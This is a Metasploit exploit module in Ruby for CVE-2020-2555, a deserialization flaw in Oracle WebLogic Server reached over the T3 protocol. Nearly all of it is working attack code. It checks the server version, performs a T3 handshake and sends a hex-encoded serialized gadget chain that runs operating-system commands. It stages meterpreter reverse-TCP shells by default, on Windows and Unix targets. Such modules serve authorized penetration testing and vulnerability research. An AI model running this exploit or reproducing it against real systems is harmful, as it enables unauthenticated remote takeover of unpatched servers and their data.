class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WebLogic Server Deserialization RCE - BadAttributeValueExpException',
'Description' => %q{
There exists a Java object deserialization vulnerability
in multiple versions of WebLogic.
Unauthenticated remote code execution can be achieved
by sending a serialized BadAttributeValueExpException object
over the T3 protocol to vulnerable WebLogic servers.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jang',
'Y4er',
'Shelby Pace'
],
'References' =>
[
[ 'CVE', '2020-2555' ],
[ 'URL', 'https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server' ],
[ 'URL', 'https://github.com/Y4er/CVE-2020-2555' ]
],
'Platform' => %w[unix linux win],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Privileged'=> false,
'Targets' =>
[
[
'Windows',
{
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
}
],
[
'Unix',
{
'Platform' => %w[unix linux],
'CmdStagerFlavor' => 'printf',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
],
'DisclosureDate' => '2020-01-15',
'DefaultTarget' => 0
)
)
register_options([ Opt::RPORT(7001) ])
end
def check
connect
web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
sock.put(web_req)
sleep(2)
res = sock.get_once
versions = [ Gem::Version.new('12.1.3.0.0'), Gem::Version.new('12.2.1.3.0'), Gem::Version.new('12.2.1.4.0') ]
return CheckCode::Unknown('Failed to obtain response from service') unless res
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
return CheckCode::Unknown('Failed to detect WebLogic') unless version
@version_no = Gem::Version.new(version)
print_status("WebLogic version detected: #{@version_no}")
return CheckCode::Appears if versions.include?(@version_no)
CheckCode::Detected('Version of WebLogic is not vulnerable')
ensure
disconnect
end
def exploit
super
connect
print_status('Sending handshake...')
t3_handshake
if target.name == 'Windows'
win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
win_obj.prepend('cmd.exe /c ')
win_obj = build_payload_obj(win_obj)
t3_send(win_obj)
else
execute_cmdstager
end
ensure
disconnect
end
def t3_handshake
shake = '74332031322e322e310a41533a323535'
shake << '0a484c3a31390a4d533a313030303030'
shake << '30300a0a'
sock.put([shake].pack('H*'))
sleep(1)
sock.get_once
end
def build_payload_obj(payload_data)
payload_obj = 'aced'
payload_obj << '0005'
payload_obj << '7372'
payload_obj << '002e'
payload_obj << '6a617661782e6d616e61'
payload_obj << '67656d656e742e426164'
payload_obj << '41747472696275746556'
payload_obj << '616c7565457870457863'
payload_obj << '657074696f6e'
payload_obj << 'd4e7daab632d4640'
payload_obj << '020001'
payload_obj << '4c0003'
payload_obj << '76616c'
payload_obj << '740012'
payload_obj << '4c6a6176612f6c616e672f4f626a6563743b'
payload_obj << '7872'
payload_obj << '0013'
payload_obj << '6a6176612e6c616e672e'
payload_obj << '457863657074696f6e'
payload_obj << 'd0fd1f3e1a3b1cc4'
payload_obj << '020000'
payload_obj << '7872'
payload_obj << '0013'
payload_obj << '6a6176612e6c616e672e'
payload_obj << '5468726f7761626c65'
payload_obj << 'd5c635273977b8cb'
payload_obj << '030004'
payload_obj << '4c0005'
payload_obj << '6361757365'
payload_obj << '740015'
payload_obj << '4c6a6176612f6c616e67'
payload_obj << '2f5468726f7761626c653b'
payload_obj << '4c000d'
payload_obj << '64657461696c4d657373616765'
payload_obj << '740012'
payload_obj << '4c6a6176612f6c616e67'
payload_obj << '2f537472696e673b'
payload_obj << '5b000a'
payload_obj << '737461636b5472616365'
payload_obj << '74001e'
payload_obj << '5b4c6a6176612f6c616e'
payload_obj << '672f537461636b547261'
payload_obj << '6365456c656d656e743b'
payload_obj << '4c0014'
payload_obj << '73757070726573736564'
payload_obj << '457863657074696f6e73'
payload_obj << '740010'
payload_obj << '4c6a6176612f7574696c'
payload_obj << '2f4c6973743b'
payload_obj << '7870'
payload_obj << '71'
payload_obj << '007e0008'
payload_obj << '7075'
payload_obj << '72001e'
payload_obj << '5b4c6a6176612e6c616e'
payload_obj << '672e537461636b547261'
payload_obj << '6365456c656d656e743b'
payload_obj << '02462a3c3cfd2239'
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000001'
payload_obj << '7372'
payload_obj << '001b'
payload_obj << '6a6176612e6c616e672e'
payload_obj << '537461636b5472616365'
payload_obj << '456c656d656e74'
payload_obj << '6109c59a2636dd85'
payload_obj << '020004'
payload_obj << '49000a'
payload_obj << '6c696e654e756d626572'
payload_obj << '4c000e'
payload_obj << '6465636c6172696e6743'
payload_obj << '6c617373'
payload_obj << '71'
payload_obj << '007e0005'
payload_obj << '4c0008'
payload_obj << '66696c654e616d65'
payload_obj << '71'
payload_obj << '007e0005'
payload_obj << '4c000a'
payload_obj << '6d6574686f644e616d65'
payload_obj << '71'
payload_obj << '007e0005'
payload_obj << '7870'
payload_obj << '00000028'
class_name = Rex::Text.rand_text_alphanumeric(8..14)
formatted_class = class_name.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
payload_obj << '74'
payload_obj << class_name.length.to_s(16).rjust(4, '0')
payload_obj << formatted_class
payload_obj << '74'
payload_obj << (class_name.length + 5).to_s(16).rjust(4, '0')
payload_obj << formatted_class
payload_obj << '2e6a617661'
payload_obj << '740004'
payload_obj << '6d61696e'
payload_obj << '7372'
payload_obj << '0026'
payload_obj << '6a6176612e7574696c2e'
payload_obj << '436f6c6c656374696f6e'
payload_obj << '7324556e6d6f64696669'
payload_obj << '61626c654c697374'
payload_obj << 'fc0f2531b5ec8e10'
payload_obj << '020001'
payload_obj << '4c0004'
payload_obj << '6c697374'
payload_obj << '71'
payload_obj << '007e0007'
payload_obj << '7872'
payload_obj << '002c'
payload_obj << '6a6176612e7574696c2e'
payload_obj << '436f6c6c656374696f6e'
payload_obj << '7324556e6d6f64696669'
payload_obj << '61626c65436f6c6c6563'
payload_obj << '74696f6e'
payload_obj << '19420080cb5ef71e'
payload_obj << '020001'
payload_obj << '4c0001'
payload_obj << '63'
payload_obj << '740016'
payload_obj << '4c6a6176612f7574696c'
payload_obj << '2f436f6c6c656374696f'
payload_obj << '6e3b'
payload_obj << '7870'
payload_obj << '7372'
payload_obj << '0013'
payload_obj << '6a6176612e7574696c2e'
payload_obj << '41727261794c697374'
payload_obj << '7881d21d99c7619d'
payload_obj << '030001'
payload_obj << '490004'
payload_obj << '73697a65'
payload_obj << '7870'
payload_obj << '00000000'
payload_obj << '7704'
payload_obj << '00000000'
payload_obj << '7871'
payload_obj << '007e0015'
payload_obj << '78'
payload_obj << '7372'
payload_obj << '0024'
payload_obj << '636f6d2e74616e676f73'
payload_obj << '6f6c2e7574696c2e6669'
payload_obj << '6c7465722e4c696d6974'
payload_obj << '46696c746572'
payload_obj << limit_filter_uid
payload_obj << '020006'
payload_obj << '49000b'
payload_obj << '6d5f635061676553697a65'
payload_obj << '490007'
payload_obj << '6d5f6e50616765'
payload_obj << '4c000c'
payload_obj << '6d5f636f6d70617261746f72'
payload_obj << '740016'
payload_obj << '4c6a6176612f7574696c'
payload_obj << '2f436f6d70617261746f'
payload_obj << '723b'
payload_obj << '4c0008'
payload_obj << '6d5f66696c746572'
payload_obj << '74001a'
payload_obj << '4c636f6d2f74616e676f'
payload_obj << '736f6c2f7574696c2f46'
payload_obj << '696c7465723b'
payload_obj << '4c000f'
payload_obj << '6d5f6f416e63686f7242'
payload_obj << '6f74746f6d'
payload_obj << '71'
payload_obj << '007e0001'
payload_obj << '4c000c'
payload_obj << '6d5f6f416e63686f72546f70'
payload_obj << '71'
payload_obj << '007e0001'
unless @version_no == Gem::Version.new('12.1.3.0.0')
payload_obj << add_class_desc
end
payload_obj << '7870'
payload_obj << '00000000'
payload_obj << '00000000'
payload_obj << '7372'
payload_obj << '002c'
payload_obj << '636f6d2e74616e676f73'
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e4368'
payload_obj << '61696e65644578747261'
payload_obj << '63746f72'
payload_obj << chained_extractor_uid
payload_obj << '020000'
payload_obj << '7872'
payload_obj << '0036'
payload_obj << '636f6d2e74616e676f73'
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e4162'
payload_obj << '737472616374436f6d70'
payload_obj << '6f736974654578747261'
payload_obj << '63746f72'
payload_obj << '086b3d8c05690f44'
payload_obj << '020001'
payload_obj << '5b000c'
payload_obj << '6d5f61457874726163746f72'
payload_obj << '740023'
payload_obj << '5b4c636f6d2f74616e67'
payload_obj << '6f736f6c2f7574696c2f'
payload_obj << '56616c75654578747261'
payload_obj << '63746f723b'
payload_obj << '7872'
payload_obj << '002d'
payload_obj << '636f6d2e74616e676f73'
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e4162'
payload_obj << '73747261637445787472'
payload_obj << '6163746f72'
payload_obj << abstract_extractor_uid
payload_obj << '020001'
payload_obj << '490009'
payload_obj << '6d5f6e546172676574'
payload_obj << '7870'
payload_obj << '00000000'
payload_obj << '7572'
payload_obj << '0032'
payload_obj << '5b4c636f6d2e74616e67'
payload_obj << '6f736f6c2e7574696c2e'
payload_obj << '657874726163746f722e'
payload_obj << '5265666c656374696f6e'
payload_obj << '457874726163746f723b'
payload_obj << 'dd8b89aed70273ca'
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000003'
payload_obj << '7372'
payload_obj << '002f'
payload_obj << '636f6d2e74616e676f73'
payload_obj << '6f6c2e7574696c2e6578'
payload_obj << '74726163746f722e5265'
payload_obj << '666c656374696f6e4578'
payload_obj << '74726163746f72'
payload_obj << reflection_extractor_uid
payload_obj << '02000'
payload_obj << reflect_extract_count
payload_obj << '5b0009'
payload_obj << '6d5f616f506172616d'
payload_obj << '740013'
payload_obj << '5b4c6a6176612f6c616e'
payload_obj << '672f4f626a6563743b'
payload_obj << add_sect
payload_obj << '4c0009'
payload_obj << '6d5f734d6574686f64'
payload_obj << '71'
payload_obj << '007e0005'
payload_obj << '7871'
payload_obj << (change_handle? ? '007e001d' : '007e001e')
payload_obj << '00000000'
payload_obj << '7572'
payload_obj << '0013'
payload_obj << '5b4c6a6176612e6c616e'
payload_obj << '672e4f626a6563743b'
payload_obj << '90ce589f1073296c'
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000002'
payload_obj << '74000a'
payload_obj << '67657452756e74696d65'
payload_obj << '7572'
payload_obj << '0012'
payload_obj << '5b4c6a6176612e6c616e'
payload_obj << '672e436c6173733b'
payload_obj << 'ab16d7aecbcd5a99'
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000000'
payload_obj << add_tc_null
payload_obj << '740009'
payload_obj << '6765744d6574686f64'
payload_obj << '7371'
payload_obj << (change_handle? ? '007e0021' : '007e0022')
payload_obj << '00000000'
payload_obj << '7571'
payload_obj << (change_handle? ? '007e0024' : '007e0025')
payload_obj << '00000002'
payload_obj << '7075'
payload_obj << '71'
payload_obj << (change_handle? ? '007e0024' : '007e0025')
payload_obj << '00000000'
payload_obj << add_tc_null
payload_obj << '740006'
payload_obj << '696e766f6b65'
payload_obj << '7371'
payload_obj << (change_handle? ? '007e0021' : '007e0022')
payload_obj << '00000000'
payload_obj << '7571'
payload_obj << (change_handle? ? '007e0024' : '007e0025')
payload_obj << '00000001'
payload_obj << '7572'
payload_obj << '0013'
payload_obj << '5b4c6a6176612e6c616e'
payload_obj << '672e537472696e673b'
payload_obj << 'add256e7e91d7b47'
payload_obj << '020000'
payload_obj << '7870'
payload_obj << '00000003'
payload_bin = format_payload(payload_data)
payload_obj << payload_bin
payload_obj << add_tc_null
payload_obj << '740004'
payload_obj << '65786563'
payload_obj << '7070'
payload_obj << '7672'
payload_obj << '0011'
payload_obj << '6a6176612e6c616e672e'
payload_obj << '52756e74696d65'
payload_obj << '00000000000000000000'
payload_obj << '00'
payload_obj << '7870'
end
def change_handle?
@version_no == Gem::Version.new('12.1.3.0.0')
end
def limit_filter_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'99022596d7b45953'
when Gem::Version.new('12.2.1.3.0')
'ab2901b976c4e271'
else
'954e4590be89865f'
end
end
def chained_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'889f81b0945d5b7f'
when Gem::Version.new('12.2.1.3.0')
'06ee10433a4cc4b4'
else
'435b250b72f63db5'
end
end
def abstract_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'658195303e723821'
when Gem::Version.new('12.2.1.3.0')
'752289ad4d460138'
else
'9b1be18ed70100e5'
end
end
def reflection_extractor_uid
case @version_no
when Gem::Version.new('12.1.3.0.0')
'ee7ae995c02fb4a2'
when Gem::Version.new('12.2.1.3.0')
'87973791b26429dd'
else
'1f62f564b951b614'
end
end
def reflect_extract_count
case @version_no
when Gem::Version.new('12.2.1.3.0')
'3'
else
'2'
end
end
def add_sect
sect = ''
if @version_no == Gem::Version.new('12.2.1.3.0')
sect << '4c0011'
sect << '6d5f657874726163746f'
sect << '72436163686564'
sect << '71'
sect << '007e0001'
end
sect
end
def add_class_desc
class_desc = ''
class_desc << '7872'
class_desc << '0034'
class_desc << '636f6d2e74616e676f73'
class_desc << '6f6c2e7574696c2e6669'
class_desc << '6c7465722e4162737472'
class_desc << '61637451756572795265'
class_desc << '636f7264657246696c74'
class_desc << '6572'
class_desc << 'f3b98201f680eb90'
class_desc << '020000'
end
def add_tc_null
return '70' if @version_no == Gem::Version.new('12.2.1.3.0')
''
end
def t3_send(payload_obj)
print_status('Sending object...')
request_obj = '000009f3'
request_obj << '016501'
request_obj << 'ffffffffffffffff'
request_obj << '00000071'
request_obj << '0000ea60'
request_obj << '00000018432ec6'
request_obj << 'a2a63985b5af7d63e643'
request_obj << '83f42a6d92c9e9af0f94'
request_obj << '72027973720078720178'
request_obj << '720278700000000c0000'
request_obj << '00020000000000000000'
request_obj << '00000001007070707070'
request_obj << '700000000c0000000200'
request_obj << '00000000000000000000'
request_obj << '01007006'
request_obj << 'fe010000'
request_obj << 'aced0005'
request_obj << '7372'
request_obj << '001d'
request_obj << '7765626c6f6769632e72'
request_obj << '6a766d2e436c61737354'
request_obj << '61626c65456e747279'
request_obj << '2f52658157f4f9ed'
request_obj << '0c0000'
request_obj << '787072'
request_obj << '0024'
request_obj << '7765626c6f6769632e63'
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5061636b61'
request_obj << '6765496e666f'
request_obj << 'e6f723e7b8ae1ec9'
request_obj << '020009'
request_obj << '490005'
request_obj << '6d616a6f72'
request_obj << '490005'
request_obj << '6d696e6f72'
request_obj << '49000b'
request_obj << '70617463685570646174'
request_obj << '65'
request_obj << '49000c'
request_obj << '726f6c6c696e67506174'
request_obj << '6368'
request_obj << '49000b'
request_obj << '73657276696365506163'
request_obj << '6b'
request_obj << '5a000e'
request_obj << '74656d706f7261727950'
request_obj << '61746368'
request_obj << '4c0009'
request_obj << '696d706c5469746c65'
request_obj << '740012'
request_obj << '4c6a6176612f6c616e67'
request_obj << '2f537472696e673b'
request_obj << '4c000a'
request_obj << '696d706c56656e646f72'
request_obj << '71007e0003'
request_obj << '4c000b'
request_obj << '696d706c56657273696f6e'
request_obj << '71007e0003'
request_obj << '7870'
request_obj << '7702'
request_obj << '000078'
request_obj << 'fe010000'
request_obj << payload_obj
request_obj << 'fe010000'
request_obj << 'aced0005'
request_obj << '7372'
request_obj << '001d'
request_obj << '7765626c6f6769632e72'
request_obj << '6a766d2e436c61737354'
request_obj << '61626c65456e747279'
request_obj << '2f52658157f4f9ed'
request_obj << '0c0000'
request_obj << '787072'
request_obj << '0021'
request_obj << '7765626c6f6769632e63'
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5065657249'
request_obj << '6e666f'
request_obj << '585474f39bc908f1'
request_obj << '020007'
request_obj << '490005'
request_obj << '6d616a6f72'
request_obj << '490005'
request_obj << '6d696e6f72'
request_obj << '49000b'
request_obj << '70617463685570646174'
request_obj << '65'
request_obj << '49000c'
request_obj << '726f6c6c696e67506174'
request_obj << '6368'
request_obj << '49000b'
request_obj << '73657276696365506163'
request_obj << '6b'
request_obj << '5a000e'
request_obj << '74656d706f7261727950'
request_obj << '61746368'
request_obj << '5b0008'
request_obj << '7061636b61676573'
request_obj << '740027'
request_obj << '5b4c7765626c6f676963'
request_obj << '2f636f6d6d6f6e2f696e'
request_obj << '7465726e616c2f506163'
request_obj << '6b616765496e666f3b'
request_obj << '7872'
request_obj << '0024'
request_obj << '7765626c6f6769632e63'
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5665727369'
request_obj << '6f6e496e666f'
request_obj << '972245516452463e'
request_obj << '020003'
request_obj << '5b0008'
request_obj << '7061636b61676573'
request_obj << '71007e0003'
request_obj << '4c000e'
request_obj << '72656c65617365566572'
request_obj << '73696f6e'
request_obj << '740012'
request_obj << '4c6a6176612f6c616e67'
request_obj << '2f537472696e673b'
request_obj << '5b0012'
request_obj << '76657273696f6e496e66'
request_obj << '6f41734279746573'
request_obj << '740002'
request_obj << '5b42'
request_obj << '7872'
request_obj << '0024'
request_obj << '7765626c6f6769632e63'
request_obj << '6f6d6d6f6e2e696e7465'
request_obj << '726e616c2e5061636b61'
request_obj << '6765496e666f'
request_obj << 'e6f723e7b8ae1ec9'
request_obj << '020009'
request_obj << '490005'
request_obj << '6d616a6f72'
request_obj << '490005'
request_obj << '6d696e6f72'
request_obj << '49000b'
request_obj << '70617463685570646174'
request_obj << '65'
request_obj << '49000c'
request_obj << '726f6c6c696e67506174'
request_obj << '6368'
request_obj << '49000b'
request_obj << '73657276696365506163'
request_obj << '6b'
request_obj << '5a000e'
request_obj << '74656d706f7261727950'
request_obj << '61746368'
request_obj << '4c0009'
request_obj << '696d706c5469746c65'
request_obj << '71007e0005'
request_obj << '4c000a'
request_obj << '696d706c56656e646f72'
request_obj << '71007e0005'
request_obj << '4c000b'
request_obj << '696d706c56657273696f'
request_obj << '6e'
request_obj << '71007e0005'
request_obj << '7870'
request_obj << '7702000078'
request_obj << 'fe00ff'
request_obj << 'fe010000'
request_obj << 'aced0005'
request_obj << '7372'
request_obj << '0013'
request_obj << '7765626c6f6769632e72'
request_obj << '6a766d2e4a564d4944'
request_obj << 'dc49c23ede121e2a'
request_obj << '0c0000'
request_obj << '787077'
request_obj << '4621'
request_obj << '000000000000000000'
request_obj << '09'
request_obj << '3132372e302e312e31'
request_obj << '000b'
request_obj << '75732d6c2d627265656e'
request_obj << '73'
request_obj << 'a53caff10000000700'
request_obj << '001b59'
request_obj << 'ffffffffffffffffffff'
request_obj << 'ffffffffffffffffffff'
request_obj << 'ffffffff'
request_obj << '0078'
request_obj << 'fe010000'
request_obj << 'aced0005'
request_obj << '7372'
request_obj << '0013'
request_obj << '7765626c6f6769632e72'
request_obj << '6a766d2e4a564d4944'
request_obj << 'dc49c23ede121e2a'
request_obj << '0c0000'
request_obj << '787077'
request_obj << '1d0181401281'
request_obj << '34bf427600093132372e'
request_obj << '302e312e31a53caff1'
request_obj << '000000000078'
new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')
request_obj[0, 8] = new_len
sock.put([request_obj].pack('H*'))
sleep(1)
end
def format_payload(payload_cmd)
print_status('Formatting payload...')
payload_arr = payload_cmd.split(' ', 3)
formatted_payload = ''
payload_arr.each do |part|
formatted_payload << '74'
formatted_payload << part.length.to_s(16).rjust(4, '0')
formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end
formatted_payload
end
def execute_command(cmd, _opts = {})
cmd.prepend('/bin/sh -c ')
cmd = build_payload_obj(cmd)
t3_send(cmd)
end
end